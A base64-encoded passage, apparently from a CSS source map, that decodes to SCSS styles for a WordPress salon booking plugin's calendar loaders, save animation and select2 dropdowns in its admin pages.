G1hcmdpbjogMC42ZW0gLTEuNGVtIDJlbSAtMS40ZW07XG5cdFx0XHRcdGJvcmRlci1yYWRpdXM6IDAuNzVlbTtcblx0XHRcdFx0dHJhbnNmb3JtOiBzY2FsZSgxKTtcblx0XHRcdFx0LmluZm8ge1xuXHRcdFx0XHRcdC5pbmZvLXdyYXAge1xuXHRcdFx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogY29sb3JzLnNsbi1jb2xvci0tZW1waGFzaXMtLWhvdmVyKFxuXHRcdFx0XHRcdFx0XHQwLjRcblx0XHRcdFx0XHRcdCk7XG5cdFx0XHRcdFx0XHRib3JkZXItY29sb3I6IGNvbG9ycy5zbG4tY29sb3ItLWVtcGhhc2lzLS1ob3ZlcigxKTtcblx0XHRcdFx0XHRcdGJvcmRlci1yYWRpdXM6IDAuNzVlbTtcblx0XHRcdFx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLWRhcmsoMSk7XG5cdFx0XHRcdFx0XHQvL3RyYW5zZm9ybTogc2NhbGUoMS4wNSk7XG5cdFx0XHRcdFx0XHQmOjpiZWZvcmUge1xuXHRcdFx0XHRcdFx0XHRjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuXHRcdFx0XHRcdFx0fVxuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHQuc2xuLWZpbGVfX2J0biB7XG5cdFx0XHRcdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdFx0XHRcdFx0dHJhbnNmb3JtOiBzY2FsZSgxKTtcblx0XHRcdFx0XHR9XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHR9XG5cdH1cbn1cbiIsIi8vLy8gTE9BREVSIENBTEVOREFSIFBBR0UgIC8vLy9cbi8vL1xuI3Nsbi1wYWdlbG9hZGluZy5zbG4tcGFnZWxvYWRpbmctLWluYWN0aXZlLFxuI3Nsbi12aWV3bG9hZGluZy5zbG4tdmlld2xvYWRpbmctLWluYWN0aXZlLFxuI3Nsbi1tb2RhbGxvYWRpbmcuc2xuLW1vZGFsbG9hZGluZy0taW5hY3RpdmUge1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0YmFja2dyb3VuZC1jb2xvcjogcmdiYSgyMzEsIDIzNywgMjQxLCAwKTtcblx0YW5pbWF0aW9uOiBwYWdlbG9hZGluZ2ZhZGVPdXQgMzUwbXMgbGluZWFyO1xuXHRpbWcsXG5cdGgxIHtcblx0XHR0cmFuc2l0aW9uOiBhbGwgMjAwbXMgZWFzZS1vdXQ7XG5cdFx0b3BhY2l0eTogMDtcblx0fVxufVxuI3Nsbi1tb2RhbGxvYWRpbmcuc2xuLW1vZGFsbG9hZGluZy0taW5hY3RpdmUtLXNhdmUge1xuXHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0YmFja2dyb3VuZC1jb2xvcjogIzM3NWY5OTtcblx0Ly9hbmltYXRpb246IHBhZ2Vsb2FkaW5nZmFkZU91dCAzNTBtcyBsaW5lYXI7XG5cdG9wYWNpdHk6IDA7XG5cdGltZyxcblx0aDEge1xuXHRcdC8vdHJhbnNpdGlvbjogYWxsIDIwMG1zIGVhc2Utb3V0O1xuXHRcdG9wYWNpdHk6IDA7XG5cdH1cbn1cbiNzbG4tbW9kYWxsb2FkaW5nICNzbG4tbW9kYWxsb2FkaW5nX19pbm5lciB7XG5cdGRpc3BsYXk6IGZsZXg7XG5cdGZsZXgtZGlyZWN0aW9uOiBjb2x1bW47XG5cdGp1c3RpZnktY29udGVudDogY2VudGVyO1xuXHRhbGlnbi1pdGVtczogY2VudGVyO1xuXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdHRvcDogMDtcblx0bGVmdDogMDtcblx0Ym90dG9tOiAwO1xuXHRyaWdodDogMDtcblx0b3BhY2l0eTogMDtcblx0YmFja2dyb3VuZC1jb2xvcjogcmdiYSgyMzEsIDIzNywgMjQxLCAxKTtcblx0YW5pbWF0aW9uOiBtb2RhbFNhdmVkQmcgNTAwbXMgbGluZWFyO1xuXHRoMSxcblx0c3ZnIHtcblx0XHRvcGFjaXR5OiAwO1xuXHRcdHRyYW5zaXRpb246IGFsbCAyMDBtcyBlYXNlLW91dDtcblx0fVxuXHQmLnNsbi1tb2RhbGxvYWRpbmctLXNhdmVkIHtcblx0XHRvcGFjaXR5OiAxO1xuXHRcdGgxLFxuXHRcdHN2ZyB7XG5cdFx0XHRvcGFjaXR5OiAxO1xuXHRcdH1cblx0XHQuYW5pbWF0ZWQtY2hlY2sgcGF0aCB7XG5cdFx0XHRhbmltYXRpb246IGRyYXcgNDAwbXMgbGluZWFyIGZvcndhcmRzO1xuXHRcdH1cblx0fVxufVxuLnNsbi1jYWxlbmRhci12aWV3IHtcblx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHQuc2xuLWNhbGVuZGFyLXZpZXctLXRyYW5zaXRpb25pbmcge1xuXHR9XG59XG4uYW5pbWF0ZWQtY2hlY2sge1xuXHRoZWlnaHQ6IDEwZW07XG5cdHdpZHRoOiAxMGVtO1xufVxuXG4uYW5pbWF0ZWQtY2hlY2sgcGF0aCB7XG5cdGZpbGw6IG5vbmU7XG5cdHN0cm9rZTogIzM3NWY5OTtcblx0c3Ryb2tlLXdpZHRoOiA0O1xuXHRzdHJva2UtZGFzaGFycmF5OiAyMztcblx0c3Ryb2tlLWRhc2hvZmZzZXQ6IDIzO1xuXHRzdHJva2UtbGluZWNhcDogcm91bmQ7XG5cdHN0cm9rZS1saW5lam9pbjogcm91bmQ7XG59XG5cbkBrZXlmcmFtZXMgZHJhdyB7XG5cdHRvIHtcblx0XHRzdHJva2UtZGFzaG9mZnNldDogMDtcblx0fVxufVxuQGtleWZyYW1lcyBwYWdlbG9hZGluZ2ZhZGVPdXQge1xuXHQwJSB7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogcmdiYSgyMzEsIDIzNywgMjQxLCAxKTtcblx0fVxuXHQxMDAlIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDIzMSwgMjM3LCAyNDEsIDApO1xuXHR9XG59XG5cbkBrZXlmcmFtZXMgbW9kYWxTYXZlZEJnIHtcblx0MCUge1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjU1LCAyNTUsIDI1NSwgMSk7XG5cdH1cblx0MjAlIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDI1NSwgMjU1LCAyNTUsIDEpO1xuXHR9XG5cdDUwJSB7XG5cdFx0Ly9iYWNrZ3JvdW5kLWNvbG9yOiAjMzc1Zjk5O1xuXHRcdGJhY2tncm91bmQtY29sb3I6IHJnYmEoMjMxLCAyMzcsIDI0MSwgMSk7XG5cdH1cbn1cbiIsIkB1c2UgXCJhZG1pbl9jb25maWdcIjtcbkB1c2UgXCJjb2xvcnMtbnVcIjtcbkB1c2UgXCJzZXR0aW5ncy1taXhpbnNcIjtcbkB1c2UgXCJ0eXBvLWFkbWluXCI7XG5cbmJvZHk6bm90KC5zbG4tc2Fsb24tcGFnZSkgLnNlbGVjdDItY29udGFpbmVyLnNlbGVjdDItY29udGFpbmVyLS1zbG4ge1xuXHQuc2VsZWN0Mi1zZWxlY3Rpb24tLXNpbmdsZSB7XG5cdFx0aGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuXHRcdGxpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuXHR9XG5cdC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuXHRcdGxpbmUtaGVpZ2h0OiAwICFpbXBvcnRhbnQ7XG5cdH1cblx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUsXG5cdC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuXHRcdEBleHRlbmQgJWZvbnQtYmlnO1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRib3JkZXItcmFkaXVzOiAwO1xuXHRcdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG5cdFx0dHJhbnNpdGlvbjogYWxsIDE1MG1zO1xuXHRcdCY6aG92ZXIsXG5cdFx0Jjpmb2N1cyB7XG5cdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG5cdFx0XHQuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcblx0XHRcdFx0Y29sb3I6ICNmZmY7XG5cdFx0XHR9XG5cdFx0XHQuc2VsZWN0Mi1zZWxlY3Rpb25fX2Fycm93OmJlZm9yZSB7XG5cdFx0XHRcdGNvbG9yOiAjZmZmO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHQmLnNlbGVjdDItY29udGFpbmVyLS1vcGVuIHtcblx0XHQuc2VsZWN0Mi1zZWxlY3Rpb24tLXNpbmdsZSxcblx0XHQuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlIHtcblx0XHRcdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcblx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQge1xuXHRcdFx0XHRjb2xvcjogI2ZmZjtcblx0XHRcdH1cblx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fYXJyb3c6YmVmb3JlIHtcblx0XHRcdFx0Y29sb3I6ICNmZmY7XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG5cdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlIC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQge1xuXHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG5cdFx0bGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG5cdFx0LnNlbGVjdDItc2VsZWN0aW9uX19wbGFjZWhvbGRlciB7XG5cdFx0XHRjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1tZWRpdW07XG5cdFx0fVxuXHR9XG5cdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlIC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQge1xuXHRcdGRpc3BsYXk6IGJsb2NrO1xuXHRcdHBhZGRpbmctbGVmdDogMWVtO1xuXHRcdHBhZGRpbmctcmlnaHQ6IDFlbTtcblx0XHRvdmVyZmxvdzogaGlkZGVuO1xuXHRcdHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzO1xuXHRcdHdoaXRlLXNwYWNlOiBub3dyYXA7XG5cdFx0Jjpob3ZlciB7XG5cdFx0XHQuc2VsZWN0Mi1zZWxlY3Rpb25fX2Fycm93OmJlZm9yZSB7XG5cdFx0XHRcdGNvbG9yOiAjZmZmO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXG5cdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlIC5zZWxlY3QyLXNlbGVjdGlvbl9fYXJyb3cge1xuXHRcdHdpZHRoOiAwLjlyZW07XG5cdFx0aGVpZ2h0OiAwLjlyZW07XG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHRvcDogY2FsYyg1MCUgLSA3cHgpO1xuXHRcdHJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuXHRcdGIge1xuXHRcdFx0ZGlzcGxheTogbm9uZTtcblx0XHR9XG5cdFx0JjpiZWZvcmUge1xuXHRcdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0XHR3aWR0aDogMC45cmVtO1xuXHRcdFx0aGVpZ2h0OiAwLjlyZW07XG5cdFx0XHRjb250ZW50OiBcIlxcZjA3OFwiO1xuXHRcdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdFx0dG9wOiAwO1xuXHRcdFx0bGVmdDogMDtcblx0XHRcdEBleHRlbmQgJWZvbnQtaWNvbjtcblx0XHRcdGxpbmUtaGVpZ2h0OiAwLjlyZW07XG5cdFx0XHRjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuXHRcdH1cblx0fVxuXHQuc2VsZWN0Mi1kcm9wZG93biB7XG5cdFx0Ly93aWR0aDogMjIwcHggIWltcG9ydGFudDtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmO1xuXHRcdGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG5cdFx0Ym9yZGVyOiAycHggc29saWRcblx0XHRcdGFkbWluX2NvbmZpZy5hbHBoYS10b25lcyhhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzLCAwLjUpO1xuXHRcdHBhZGRpbmc6IDAuMiU7XG5cdFx0Ym9yZGVyLXJhZGl1czogMDtcblx0XHRAZXh0ZW5kICVmb250LWJpZztcblx0fVxuXHQuc2xuLXNlbGVjdC13cmFwcGVyLW5vLXNlYXJjaCAuc2VsZWN0Mi1zZWFyY2gge1xuXHRcdGRpc3BsYXk6IG5vbmU7XG5cdH1cblx0LnNsbi1zZWxlY3QtZHJvcGRvd24tLWJveGVkb3B0aW9ucyB7XG5cdFx0d2lkdGg6IDQwMHB4ICFpbXBvcnRhbnQ7XG5cdFx0LnNlbGVjdDItcmVzdWx0c19fb3B0aW9ucyB7XG5cdFx0XHRwYWRkaW5nOiAwLjUlO1xuXHRcdFx0bWFyZ2luOiAwO1xuXHRcdH1cblx0XHQuc2VsZWN0Mi1yZXN1bHRzX19vcHRpb24ge1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcblx0XHRcdGRpc3BsYXk6IGlubGluZS1ibG9jaztcblx0XHRcdHdpZHRoOiAyNC40JTtcblx0XHRcdHRleHQtYWxpZ246IGNlbnRlcjtcblx0XHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oMjBweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcblx0XHRcdG1hcmdpbjogMC4zJTtcblx0XHR9XG5cdH1cblx0Jltyb2xlPVwidHJlZVwiXSB7XG5cdFx0LnNlbGVjdDItcmVzdWx0c19fb3B0aW9ucyB7XG5cdFx0XHRwYWRkaW5nOiAwLjUlO1xuXHRcdFx0YmFja2dyb3VuZC1jb2xvcjogI2ZmZjtcblx0XHRcdG1heC1oZWlnaHQ6IDIwMHB4O1xuXHRcdFx0b3ZlcmZsb3cteTogYXV0bztcblx0XHR9XG5cdH1cblx0LnNlbGVjdDItcmVzdWx0c19fb3B0aW9uIHtcblx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpIHNldHRpbmdzLW1peGlucy5yZW0oMjBweCk7XG5cdFx0bWFyZ2luOiAwIDAgMnB4IDA7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcblx0XHRib3JkZXItdG9wOiAycHggc29saWQgI2ZmZjtcblx0fVxuXHQuc2VsZWN0Mi1zZWFyY2gtLWRyb3Bkb3duIHtcblx0XHRwYWRkaW5nOiAwLjUlIDElIDAgMC41JTtcblx0XHQuc2VsZWN0Mi1zZWFyY2hfX2ZpZWxkIHtcblx0XHRcdEBleHRlbmQgJWZvbnQtYmlnO1xuXHRcdFx0cGFkZGluZzogMC41ZW0gMWVtO1xuXHRcdFx0Ym9yZGVyOiBub25lO1xuXHRcdFx0Ym9yZGVyOiBzZXR0aW5ncy1taXhpbnMucmVtKDNweCkgc29saWRcblx0XHRcdFx0YWRtaW5fY29uZmlnLmFscGhhLXRvbmVzKGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tZW1waGFzaXMsIDAuNSk7XG5cdFx0XHQmOmZvY3VzLFxuXHRcdFx0Jjpob3ZlciB7XG5cdFx0XHRcdG91dGxpbmU6IDJweCBzb2xpZCBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzO1xuXHRcdFx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG5cdFx0XHRcdGNvbG9yOiAjZmZmO1xuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHQuc2VsZWN0Mi1yZXN1bHRzX19vcHRpb24tLWhpZ2hsaWdodGVkW2FyaWEtc2VsZWN0ZWRdIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW47XG5cdFx0Y29sb3I6ICNmZmY7XG5cdH1cblx0LnNlbGVjdDItcmVzdWx0c19fb3B0aW9uW2FyaWEtc2VsZWN0ZWQ9XCJ0cnVlXCJdIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLW1lZGl1bTtcblx0XHRjb2xvcjogI2ZmZjtcblx0fVxuXHQuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlIC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQge1xuXHRcdG1hcmdpbjogMDtcblx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpIHNldHRpbmdzLW1peGlucy5yZW0oMTBweClcblx0XHRcdHNldHRpbmdzLW1peGlucy5yZW0oNXB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpO1xuXHR9XG5cdC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUgLnNlbGVjdDItc2VhcmNoX19maWVsZCB7XG5cdFx0QGluY2x1ZGUgYWRtaW5fY29uZmlnLnBsYWNlaG9sZGVyLWNvbG9yKGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbWVkaXVtKTtcblx0XHQmOm5vdChbcGxhY2Vob2xkZXI9XCJcIl0pIHtcblx0XHRcdG1pbi13aWR0aDogMTcwcHggIWltcG9ydGFudDtcblx0XHR9XG5cdH1cblx0LnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZVxuXHRcdC5zZWxlY3QyLXNlYXJjaC0taW5saW5lXG5cdFx0LnNlbGVjdDItc2VhcmNoX19maWVsZCB7XG5cdFx0bWFyZ2luLXRvcDogMDtcblx0XHRsaW5lLWhlaWdodDogc2V0dGluZ3MtbWl4aW5zLnJlbSg0NXB4KTtcblx0XHRtYXJnaW46IDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDVweCkgMDtcblx0fVxuXHQuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlIC5zZWxlY3QyLXNlbGVjdGlvbl9fY2hvaWNlIHtcblx0XHRmbG9hdDogbGVmdDtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWVtcGhhc2lzO1xuXHRcdGJvcmRlcjogbm9uZTtcblx0XHRjb2xvcjogI2ZmZjtcblx0XHRwYWRkaW5nOiAwIHNldHRpbmdzLW1peGlucy5yZW0oNTBweCkgMCBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuXHRcdGJvcmRlci1yYWRpdXM6IDA7XG5cdFx0bGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNDVweCk7XG5cdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdG1hcmdpbjogMCBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpIHNldHRpbmdzLW1peGlucy5yZW0oNXB4KSAwO1xuXHR9XG5cdC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUgLnNlbGVjdDItc2VsZWN0aW9uX19jaG9pY2VfX3JlbW92ZSB7XG5cdFx0cG9zaXRpb246IGFic29sdXRlO1xuXHRcdHJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDVweCk7XG5cdFx0dG9wOiBjYWxjKDUwJSAtIDhweCk7XG5cdFx0Zm9udC1zaXplOiAxNnB4O1xuXHRcdGxpbmUtaGVpZ2h0OiA4cHg7XG5cdFx0Ym9yZGVyLXJhZGl1czogNTAlO1xuXHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oNHB4KTtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmO1xuXHRcdGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX3Byb2JsZW07XG5cdFx0b3BhY2l0eTogMC43NTtcblx0XHR0cmFuc2l0aW9uOiBvcGFjaXR5IDIwMG1zO1xuXHRcdCY6aG92ZXIge1xuXHRcdFx0Y29sb3I6IGFkbWluX2NvbmZpZy4kY2xfcHJvYmxlbTtcblx0XHRcdG9wYWNpdHk6IDE7XG5cdFx0fVxuXHR9XG5cblx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGU6Zm9jdXMge1xuXHRcdG91dGxpbmU6IG5vbmU7XG5cdH1cblx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGU6Zm9jdXMgLnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCB7XG5cdH1cblxuXHQuc2VsZWN0Mi1yZXN1bHRzX19ncm91cCB7XG5cdFx0bWFyZ2luOiAxMHB4IDA7XG5cdFx0ZGlzcGxheTogYmxvY2s7XG5cdH1cblxuXHQvKiBCSUcgU0VMRUNUIC8vIEVORCAqL1xufVxuLyogQURNSU4gKi9cbiNzbG4tc2Fsb24tLWFkbWluLFxuLnNsbi1jYWxlbmRhci0td3JhcHBlciB7XG5cdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlLFxuXHQuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiB0cmFuc3BhcmVudDtcblx0XHRib3JkZXItYm90dG9tOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodDtcblx0fVxuXHQuc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsblxuXHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlOmhvdmVyXG5cdFx0LnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCxcblx0LnNlbGVjdDItY29udGFpbmVyLnNlbGVjdDItY29udGFpbmVyLS1zbG5cblx0XHQuc2VsZWN0Mi1zZWxlY3Rpb24tLXNpbmdsZTpmb2N1c1xuXHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQsXG5cdC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuXG5cdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZTpob3ZlclxuXHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQsXG5cdC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuXG5cdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1tdWx0aXBsZTpmb2N1c1xuXHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQsXG5cdC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuLnNlbGVjdDItY29udGFpbmVyLS1vcGVuXG5cdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGVcblx0XHQuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkLFxuXHQuc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsbi5zZWxlY3QyLWNvbnRhaW5lci0tb3BlblxuXHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGVcblx0XHQuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcblx0XHRiYWNrZ3JvdW5kLWNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLWxpZ2h0ZXI7XG5cdFx0Y29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbjtcblx0XHQrIC5zZWxlY3QyLXNlbGVjdGlvbl9fYXJyb3c6OmJlZm9yZSB7XG5cdFx0XHRjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluO1xuXHRcdH1cblx0fVxuXHQuc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsblxuXHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlXG5cdFx0LnNlbGVjdDItc2VsZWN0aW9uX19hcnJvdzpiZWZvcmUge1xuXHRcdGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX21haW4tLW1lZGl1bTtcblx0fVxuXHQuc2VsZWN0Mi1jb250YWluZXIuc2VsZWN0Mi1jb250YWluZXItLXNsbiB7XG5cdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUge1xuXHRcdFx0aGVpZ2h0OiAzLjMzcmVtO1xuXHRcdFx0bGluZS1oZWlnaHQ6IDMuMzNyZW07XG5cdFx0fVxuXHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlIC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQge1xuXHRcdFx0bGluZS1oZWlnaHQ6IDMuMnJlbTtcblx0XHR9XG5cdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUgLnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCB7XG5cdFx0XHRwYWRkaW5nLWxlZnQ6IHNldHRpbmdzLW1peGlucy5yZW0oMjRweCk7XG5cdFx0XHRwYWRkaW5nLXJpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDI0cHgpO1xuXHRcdH1cblx0XHQuc2VsZWN0Mi1zZWxlY3Rpb24tLW11bHRpcGxlIHtcblx0XHRcdG1pbi1oZWlnaHQ6IDMuMzNyZW07XG5cdFx0fVxuXHRcdEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icChkZXNrdG9wKSB7XG5cdFx0XHQuc2VsZWN0Mi1zZWxlY3Rpb24tLXNpbmdsZSB7XG5cdFx0XHRcdC8vaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuXHRcdFx0XHQvL2xpbmUtaGVpZ2h0OiBzZXR0aW5ncy1taXhpbnMucmVtKDYwcHgpO1xuXHRcdFx0fVxuXHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUgLnNlbGVjdDItc2VsZWN0aW9uX19yZW5kZXJlZCB7XG5cdFx0XHRcdC8vbGluZS1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG5cdFx0XHR9XG5cdFx0XHQuc2VsZWN0Mi1zZWxlY3Rpb24tLXNpbmdsZSAuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcblx0XHRcdFx0cGFkZGluZy1sZWZ0OiAxZW07XG5cdFx0XHRcdHBhZGRpbmctcmlnaHQ6IDFlbTtcblx0XHRcdH1cblx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuXHRcdFx0XHQvL21pbi1oZWlnaHQ6IHNldHRpbmdzLW1peGlucy5yZW0oNjBweCk7XG5cdFx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbl9fcmVuZGVyZWQge1xuXHRcdFx0XHRcdHBhZGRpbmc6IHNldHRpbmdzLW1peGlucy5yZW0oOXB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpXG5cdFx0XHRcdFx0XHRzZXR0aW5ncy1taXhpbnMucmVtKDRweCkgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMHB4KTtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0fVxuXHQvKiBBRE1JTiAvLyBFTkQgKi9cbn1cbi8qIEFETUlOIERST1BET1dOICovXG4uc2VsZWN0Mi1jb250YWluZXItLXNsbiAuc2VsZWN0Mi1yZXN1bHRzID4gLnNlbGVjdDItcmVzdWx0c19fb3B0aW9ucyB7XG5cdG1heC1oZWlnaHQ6IDIwMHB4O1xuXHRvdmVyZmxvdy15OiBhdXRvO1xufVxuXG4ud3AtYWRtaW4uc2Fsb25fcGFnZV9zYWxvbi1zZXR0aW5ncyB7XG5cdC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuXG5cdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGVcblx0XHQuc2VsZWN0Mi1zZWxlY3Rpb25fX3JlbmRlcmVkIHtcblx0XHRwYWRkaW5nLXJpZ2h0OiAyZW07XG5cdH1cblx0LnNlbGVjdDItY29udGFpbmVyLnNlbGVjdDItY29udGFpbmVyLS1zbG4gLnNlbGVjdDItZHJvcGRvd24ge1xuXHRcdGJvcmRlcjogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG5cdFx0YmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS1saWdodGVyO1xuXHR9XG5cdC5zZWxlY3QyLWNvbnRhaW5lci5zZWxlY3QyLWNvbnRhaW5lci0tc2xuIC5zZWxlY3QyLXJlc3VsdHNfX29wdGlvbiB7XG5cdFx0bWFyZ2luLWJvdHRvbTogMDtcblx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDE1cHgpO1xuX